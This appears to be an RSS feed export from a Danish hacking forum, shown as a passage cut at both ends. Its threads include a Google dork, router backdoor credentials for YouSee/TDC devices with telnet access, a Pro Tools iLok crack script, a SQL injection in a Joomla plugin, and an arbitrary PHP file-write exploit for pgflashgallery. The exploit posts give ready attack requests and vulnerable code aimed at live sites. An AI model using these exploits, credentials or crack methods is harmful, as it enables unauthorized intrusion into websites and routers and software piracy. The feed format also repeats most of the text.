<iframe width="560" height="315" src="https://www.youtube.com/embed/BoGF29ed60M" frameborder="0" allowfullscreen></iframe><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">#Google Dork: inurl:index.php?option=com_kunena&amp;</span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[TUT] Hvordan du tjekker om en fil er infected og hvordan du hacker hackeren [TUT]]]></title>
			<link>https://www.shellsec.pw/traad-tut-hvordan-du-tjekker-om-en-fil-er</link>
			<pubDate>Tue, 01 Oct 2013 15:50:46 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-tut-hvordan-du-tjekker-om-en-fil-er</guid>
			<description><![CDATA[Okay, har du nogensinde modtaget en fil som du ikke helt vidste om var infected? Nu vil jeg vise jer en måde hvor i rent faktisk kan tjekke det ud. Det virker i hvert fald med RAT's og keyloggere. <br />
<br />
Programmet hedder Bintext og det analyserer simpelthen koden i programmet og viser jer dele hvor i kan aflæse om der skulle være en request som sender keystrokes eller data til en e-mail og kodeord.<br />
<br />
Her kan i downloade programmet : <a href="http://www.mcafee.com/us/downloads/free-tools/bintext.aspx" target="_blank" rel="noopener" class="mycode_url">http://www.mcafee.com/us/downloads/free-...ntext.aspx</a><br />
<br />
Programmet skulle gerne se sådan her ud.<br />
<br />
<img src="http://i.imgur.com/VUnq0.jpg" alt="[Billede: VUnq0.jpg]" class="mycode_img" /><br />
<br />
Så du putter simpelthen bare filen ind i programmet og begynder at søge efter "e-mail","username" eller "password"<br />
<br />
<img src="http://i.imgur.com/ZrRkq.jpg" alt="[Billede: ZrRkq.jpg]" class="mycode_img" /><br />
<br />
Som i kan se på billedet blev der fundet en e-mail og password.]]></description>
			<content:encoded><![CDATA[Okay, har du nogensinde modtaget en fil som du ikke helt vidste om var infected? Nu vil jeg vise jer en måde hvor i rent faktisk kan tjekke det ud. Det virker i hvert fald med RAT's og keyloggere. <br />
<br />
Programmet hedder Bintext og det analyserer simpelthen koden i programmet og viser jer dele hvor i kan aflæse om der skulle være en request som sender keystrokes eller data til en e-mail og kodeord.<br />
<br />
Her kan i downloade programmet : <a href="http://www.mcafee.com/us/downloads/free-tools/bintext.aspx" target="_blank" rel="noopener" class="mycode_url">http://www.mcafee.com/us/downloads/free-...ntext.aspx</a><br />
<br />
Programmet skulle gerne se sådan her ud.<br />
<br />
<img src="http://i.imgur.com/VUnq0.jpg" alt="[Billede: VUnq0.jpg]" class="mycode_img" /><br />
<br />
Så du putter simpelthen bare filen ind i programmet og begynder at søge efter "e-mail","username" eller "password"<br />
<br />
<img src="http://i.imgur.com/ZrRkq.jpg" alt="[Billede: ZrRkq.jpg]" class="mycode_img" /><br />
<br />
Som i kan se på billedet blev der fundet en e-mail og password.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Yousee Router]]></title>
			<link>https://www.shellsec.pw/traad-yousee-router</link>
			<pubDate>Mon, 29 Jul 2013 20:59:11 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-yousee-router</guid>
			<description><![CDATA[Fandt det det her for noget tid siden.<br />
<br />
Yousee (webspeed router CG3000) fjernadgang selvom det slået fra i routeren. Virker også på andre af deres router.<br />
<br />
Root webadgang til routern.<br />
user: MSO pass: changeme<br />
user: ruser pass: admin<br />
<br />
Til den lidt sjover del, kan man også komme direkte ind i deres DOCSIS router via telnet både fra subnet, internet &amp; lan (lan 192.168.100.1)<br />
<br />
user: tdcktb pass: Jr1st1anKak0b]]></description>
			<content:encoded><![CDATA[Fandt det det her for noget tid siden.<br />
<br />
Yousee (webspeed router CG3000) fjernadgang selvom det slået fra i routeren. Virker også på andre af deres router.<br />
<br />
Root webadgang til routern.<br />
user: MSO pass: changeme<br />
user: ruser pass: admin<br />
<br />
Til den lidt sjover del, kan man også komme direkte ind i deres DOCSIS router via telnet både fra subnet, internet &amp; lan (lan 192.168.100.1)<br />
<br />
user: tdcktb pass: Jr1st1anKak0b]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Pro Tools 9.0.2 har lige brug for det ekstra skub]]></title>
			<link>https://www.shellsec.pw/traad-pro-tools-9-0-2-har-lige-brug-for-det</link>
			<pubDate>Fri, 19 Jul 2013 07:37:48 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-pro-tools-9-0-2-har-lige-brug-for-det</guid>
			<description><![CDATA[Hej<br />
<br />
Jeg kører en cracked version af PT 9.0.2 på MacOSX Snow Leopard, hvor det kører fint.<br />
Cracket er som følger<br />
Pro Tools.app indeholder (bl.a) <br />
"Pro Tools" bash script<br />
"PT" selve programmet<br />
"crackpipe32" en form for debugger tror jeg, der laver nogle hardware breakpoints<br />
<br />
"Pro Tools" scriptet indeholder:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#!/bin/bash<br />
cat &lt;&lt; EOF | /Applications/Digidesign/Pro&#92; Tools/Pro&#92; Tools.app/Contents/MacOS/crackpipe32 /Applications/Digidesign/Pro&#92; Tools/Pro&#92; Tools.app/Contents/MacOS/PT<br />
<br />
[A/Pro Tools]<br />
hwbreak 0158B9F6 1<br />
hwbreak 016D18EE 1<br />
hwbreak 016D1FB2 1</code></div></div><br />
For dem der ikke lige er super til bash betyder ovenstående: send resten af denne fils (Pro Tools) indhold til crackpipe32, som har PT som første argument.<br />
<br />
Dvs, når jeg kører "Pro Tools" scriptet så starter Pro Tools op og spørger ikke om iLOK beskyttelse.<br />
So far so good!<br />
<br />
På Mountain Lion vil det dog ikke køre pga. denne fejl:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>[+] ====== the crackpipe r5 =====<br />
Label: 'A/Pro Tools'<br />
[.] Will hwbreak at 158b9f6 returing 1 <br />
[.] Will hwbreak at 16d18ee returing 1 <br />
[.] Will hwbreak at 16d1fb2 returing 1 <br />
[+] Loaded 0 patches, 0 of them in libraries<br />
[+] 3 hardware breakpoints set<br />
[.] locating dyld load address<br />
[.] load address found at 0x8fe33ff0<br />
[.] locating thread start address<br />
[!] FATAL could not process /usr/lib/libSystem.B.dylib. pretty bad</code></div></div><br />
Som jeg ser det er crackpipe ikke kompatibel med Mountain Lions version af libSystem.B.dylib, men mit problem er at se hvad det er crackpipe32 egentlig gør, er der nogle der kan disassemble og forstå koden?<br />
<br />
Jeg har prøvet at køre "PT" igennem gdb (debugger) og sætte "hbreak *0x0158b9f6" osv men uden effect så måske gør crackpipe noget mere end det?<br />
<br />
Vedhæftet er bash scriptet "Pro Tools" og unix executable "crackpipe32".<br />
<br />
Jeg har også prøvet at nuppe en libSystem.B.dylib fra Snow Leopard, men det giver en segmentation fault.<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://www.shellsec.pw/images/attachtypes/zip.gif" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=7" target="_blank" title="">protools+crackpipe32.zip</a> (Størrelse: 14,33 KB / Downloads: 13)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[Hej<br />
<br />
Jeg kører en cracked version af PT 9.0.2 på MacOSX Snow Leopard, hvor det kører fint.<br />
Cracket er som følger<br />
Pro Tools.app indeholder (bl.a) <br />
"Pro Tools" bash script<br />
"PT" selve programmet<br />
"crackpipe32" en form for debugger tror jeg, der laver nogle hardware breakpoints<br />
<br />
"Pro Tools" scriptet indeholder:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#!/bin/bash<br />
cat &lt;&lt; EOF | /Applications/Digidesign/Pro&#92; Tools/Pro&#92; Tools.app/Contents/MacOS/crackpipe32 /Applications/Digidesign/Pro&#92; Tools/Pro&#92; Tools.app/Contents/MacOS/PT<br />
<br />
[A/Pro Tools]<br />
hwbreak 0158B9F6 1<br />
hwbreak 016D18EE 1<br />
hwbreak 016D1FB2 1</code></div></div><br />
For dem der ikke lige er super til bash betyder ovenstående: send resten af denne fils (Pro Tools) indhold til crackpipe32, som har PT som første argument.<br />
<br />
Dvs, når jeg kører "Pro Tools" scriptet så starter Pro Tools op og spørger ikke om iLOK beskyttelse.<br />
So far so good!<br />
<br />
På Mountain Lion vil det dog ikke køre pga. denne fejl:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>[+] ====== the crackpipe r5 =====<br />
Label: 'A/Pro Tools'<br />
[.] Will hwbreak at 158b9f6 returing 1 <br />
[.] Will hwbreak at 16d18ee returing 1 <br />
[.] Will hwbreak at 16d1fb2 returing 1 <br />
[+] Loaded 0 patches, 0 of them in libraries<br />
[+] 3 hardware breakpoints set<br />
[.] locating dyld load address<br />
[.] load address found at 0x8fe33ff0<br />
[.] locating thread start address<br />
[!] FATAL could not process /usr/lib/libSystem.B.dylib. pretty bad</code></div></div><br />
Som jeg ser det er crackpipe ikke kompatibel med Mountain Lions version af libSystem.B.dylib, men mit problem er at se hvad det er crackpipe32 egentlig gør, er der nogle der kan disassemble og forstå koden?<br />
<br />
Jeg har prøvet at køre "PT" igennem gdb (debugger) og sætte "hbreak *0x0158b9f6" osv men uden effect så måske gør crackpipe noget mere end det?<br />
<br />
Vedhæftet er bash scriptet "Pro Tools" og unix executable "crackpipe32".<br />
<br />
Jeg har også prøvet at nuppe en libSystem.B.dylib fra Snow Leopard, men det giver en segmentation fault.<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://www.shellsec.pw/images/attachtypes/zip.gif" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=7" target="_blank" title="">protools+crackpipe32.zip</a> (Størrelse: 14,33 KB / Downloads: 13)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[SQLi] Joomla plugin com_ipricecalc]]></title>
			<link>https://www.shellsec.pw/traad-sqli-joomla-plugin-com-ipricecalc</link>
			<pubDate>Thu, 18 Jul 2013 03:55:04 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-sqli-joomla-plugin-com-ipricecalc</guid>
			<description><![CDATA[iprice calculator (com_ipricecalc) er et plugin til Joomla udviklet af <a href="http://iprice-web.ru" target="_blank" rel="noopener" class="mycode_url">iprice-web.ru</a>. I de nyere versioner bliver GET parametret filter_order ikke escaped. Jeg har desvaerre ikke kunne opstoeve den gamle source, de tidligere havde, den kunne jeg ellers godt bruge.<br />
<br />
Igen, ikke det mest udbredte plugin, men jeg havde et target, som havde det installeret.<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>GET /en/?filter_order=[payload] HTTP/1.1<br />
Host: demo.iprice-web.ru</code></div></div><br />
Den saarbare kode ser saaledes ud<br />
controllers/category.php<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>&#36;table =&amp; JTable::getInstance('Iprice_category', 'JTable');<br />
&#36;filter_order&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= &#36;mainframe-&gt;getUserStateFromRequest( &#36;context.'filter_order', 'filter_order', 'ipc.ordering',&nbsp;&nbsp;&nbsp;&nbsp;'cmd' );<br />
&#36;filter_order_Dir&nbsp;&nbsp;&nbsp;&nbsp;= &#36;mainframe-&gt;getUserStateFromRequest( &#36;context.'filter_order_Dir', 'filter_order_Dir',&nbsp;&nbsp;&nbsp;&nbsp;'', 'word' );<br />
[...]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&#36;table-&gt;SetQuery(&#36;filter_state,&#36;filter_secid, &#36;search, &#36;filter_order, &#36;filter_order_Dir);</code></div></div><br />
tables/category.php<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>function SetQuery(&#36;filter_state = "", &#36;filter_secid = "",&#36;search = "",&#36;filter_order = "", &#36;filter_order_Dir = "", &#36;whe = "") {<br />
&nbsp;&nbsp;&nbsp;&nbsp;[...]<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;filter_order == 'ipc.ordering' || &#36;filter_order == ''){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;this-&gt;_orderby &nbsp;&nbsp;&nbsp;&nbsp;= ' ORDER BY ips.ordering '.' '. &#36;filter_order_Dir .', ipc.ordering'.' '. &#36;filter_order_Dir;<br />
&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;this-&gt;_orderby &nbsp;&nbsp;&nbsp;&nbsp;= ' ORDER BY '. &#36;filter_order .' '. &#36;filter_order_Dir ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</code></div></div>]]></description>
			<content:encoded><![CDATA[iprice calculator (com_ipricecalc) er et plugin til Joomla udviklet af <a href="http://iprice-web.ru" target="_blank" rel="noopener" class="mycode_url">iprice-web.ru</a>. I de nyere versioner bliver GET parametret filter_order ikke escaped. Jeg har desvaerre ikke kunne opstoeve den gamle source, de tidligere havde, den kunne jeg ellers godt bruge.<br />
<br />
Igen, ikke det mest udbredte plugin, men jeg havde et target, som havde det installeret.<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>GET /en/?filter_order=[payload] HTTP/1.1<br />
Host: demo.iprice-web.ru</code></div></div><br />
Den saarbare kode ser saaledes ud<br />
controllers/category.php<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>&#36;table =&amp; JTable::getInstance('Iprice_category', 'JTable');<br />
&#36;filter_order&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= &#36;mainframe-&gt;getUserStateFromRequest( &#36;context.'filter_order', 'filter_order', 'ipc.ordering',&nbsp;&nbsp;&nbsp;&nbsp;'cmd' );<br />
&#36;filter_order_Dir&nbsp;&nbsp;&nbsp;&nbsp;= &#36;mainframe-&gt;getUserStateFromRequest( &#36;context.'filter_order_Dir', 'filter_order_Dir',&nbsp;&nbsp;&nbsp;&nbsp;'', 'word' );<br />
[...]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&#36;table-&gt;SetQuery(&#36;filter_state,&#36;filter_secid, &#36;search, &#36;filter_order, &#36;filter_order_Dir);</code></div></div><br />
tables/category.php<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>function SetQuery(&#36;filter_state = "", &#36;filter_secid = "",&#36;search = "",&#36;filter_order = "", &#36;filter_order_Dir = "", &#36;whe = "") {<br />
&nbsp;&nbsp;&nbsp;&nbsp;[...]<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;filter_order == 'ipc.ordering' || &#36;filter_order == ''){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;this-&gt;_orderby &nbsp;&nbsp;&nbsp;&nbsp;= ' ORDER BY ips.ordering '.' '. &#36;filter_order_Dir .', ipc.ordering'.' '. &#36;filter_order_Dir;<br />
&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;this-&gt;_orderby &nbsp;&nbsp;&nbsp;&nbsp;= ' ORDER BY '. &#36;filter_order .' '. &#36;filter_order_Dir ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[exploit] pgflashgallery arbitrary code execution]]></title>
			<link>https://www.shellsec.pw/traad-exploit-pgflashgallery-arbitrary-code</link>
			<pubDate>Wed, 17 Jul 2013 03:24:38 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-exploit-pgflashgallery-arbitrary-code</guid>
			<description><![CDATA[pgflashgallery er et Joomla/Wordpress plugin udviklet af <a href="http://www.photo-graffix.com" target="_blank" rel="noopener" class="mycode_url">http://www.photo-graffix.com</a>.<br />
Heldigvis er det her plugin ikke saerlig udbredt. Google kan dog finde nogle sider, der bruger det.<br />
<br />
Exploit:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>POST /joomla/components/com_pgflashgallery/admin_functions2.php HTTP/1.1<br />
Host: www.photo-graffix.com<br />
<br />
func=add_new_option&amp;cart_file=filename.php&amp;global_cart_file=1&amp;newop=[payload]</code></div></div>filename.php bliver lavet og indeholder den payload, der er givet med.<br />
<br />
Vuln. code:<br />
<div class="codeblock phpcodeblock"><div class="title">PHP kode:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;newop&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'newop'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">&#36;global_cart_file&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'global_cart_file'</span><span style="color: #007700">];<br />if&nbsp;(</span><span style="color: #0000BB">&#36;func&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"add_new_option"</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;udfile&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;cart_file</span><span style="color: #007700">;<br />&nbsp;&nbsp;if(</span><span style="color: #0000BB">file_exists</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">)){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"&amp;END"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newop</span><span style="color: #007700">.</span><span style="color: #DD0000">"&amp;END"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newdata</span><span style="color: #007700">);<br />&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">&#36;global_cart_file&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"&amp;PG_BUY="</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;newop</span><span style="color: #007700">.</span><span style="color: #DD0000">"&amp;END"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"&amp;PG_DESCRIPTION=&amp;PG_RATING=&amp;PG_TAGS=&amp;PG_COUNT=0&amp;PG_COMMENTS=&amp;PG_BUY="</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;newop</span><span style="color: #007700">.</span><span style="color: #DD0000">"&amp;END"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;}<br /></span><span style="color: #0000BB">&#36;fp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"w+"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">&#36;fw&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">&#36;fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">fclose</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">&#36;fp&nbsp;</span><span style="color: #007700">);<br />}&nbsp;<br /></span></code></div></div></div><br />
For at slette filen igen kan flg. POST request bruges:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>POST /joomla/components/com_pgflashgallery/admin_functions2.php HTTP/1.1<br />
Host: www.photo-graffix.com<br />
<br />
func=delete_cart_options&amp;cart_file=filename.php&amp;del_crtfile=1</code></div></div><br />
Vuln. code:<br />
<div class="codeblock phpcodeblock"><div class="title">PHP kode:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;cart_file&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'cart_file'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">&#36;coption&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'coption'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">&#36;del_crtfile&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'del_crtfile'</span><span style="color: #007700">];<br />if&nbsp;(</span><span style="color: #0000BB">&#36;func&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"delete_cart_options"</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;udfile&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;cart_file</span><span style="color: #007700">;<br />&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">&#36;del_crtfile&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;(!</span><span style="color: #0000BB">unlink</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;cart_file</span><span style="color: #007700">))&nbsp;;<br />&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;coption</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newdata</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;fp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"w+"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;fw&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">&#36;fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fclose</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">&#36;fp&nbsp;</span><span style="color: #007700">);<br />&nbsp;&nbsp;}<br />}&nbsp;<br /></span></code></div></div></div>Har kun testet Joomla sider, men er overbevist om, at samme fejl er til at finde paa WP pluginet. Alt koden er usikkert. Der kan logges paa ved at saette et GET parameter til 1, men det her var umiddelbart den stoerste fejl, der var.]]></description>
			<content:encoded><![CDATA[pgflashgallery er et Joomla/Wordpress plugin udviklet af <a href="http://www.photo-graffix.com" target="_blank" rel="noopener" class="mycode_url">http://www.photo-graffix.com</a>.<br />
Heldigvis er det her plugin ikke saerlig udbredt. Google kan dog finde nogle sider, der bruger det.<br />
<br />
Exploit:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>POST /joomla/components/com_pgflashgallery/admin_functions2.php HTTP/1.1<br />
Host: www.photo-graffix.com<br />
<br />
func=add_new_option&amp;cart_file=filename.php&amp;global_cart_file=1&amp;newop=[payload]</code></div></div>filename.php bliver lavet og indeholder den payload, der er givet med.<br />
<br />
Vuln. code:<br />
<div class="codeblock phpcodeblock"><div class="title">PHP kode:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;newop&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'newop'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">&#36;global_cart_file&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'global_cart_file'</span><span style="color: #007700">];<br />if&nbsp;(</span><span style="color: #0000BB">&#36;func&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"add_new_option"</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;udfile&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;cart_file</span><span style="color: #007700">;<br />&nbsp;&nbsp;if(</span><span style="color: #0000BB">file_exists</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">)){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"&amp;END"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newop</span><span style="color: #007700">.</span><span style="color: #DD0000">"&amp;END"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newdata</span><span style="color: #007700">);<br />&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">&#36;global_cart_file&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"&amp;PG_BUY="</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;newop</span><span style="color: #007700">.</span><span style="color: #DD0000">"&amp;END"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"&amp;PG_DESCRIPTION=&amp;PG_RATING=&amp;PG_TAGS=&amp;PG_COUNT=0&amp;PG_COMMENTS=&amp;PG_BUY="</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;newop</span><span style="color: #007700">.</span><span style="color: #DD0000">"&amp;END"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;}<br /></span><span style="color: #0000BB">&#36;fp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"w+"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">&#36;fw&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">&#36;fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">fclose</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">&#36;fp&nbsp;</span><span style="color: #007700">);<br />}&nbsp;<br /></span></code></div></div></div><br />
For at slette filen igen kan flg. POST request bruges:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>POST /joomla/components/com_pgflashgallery/admin_functions2.php HTTP/1.1<br />
Host: www.photo-graffix.com<br />
<br />
func=delete_cart_options&amp;cart_file=filename.php&amp;del_crtfile=1</code></div></div><br />
Vuln. code:<br />
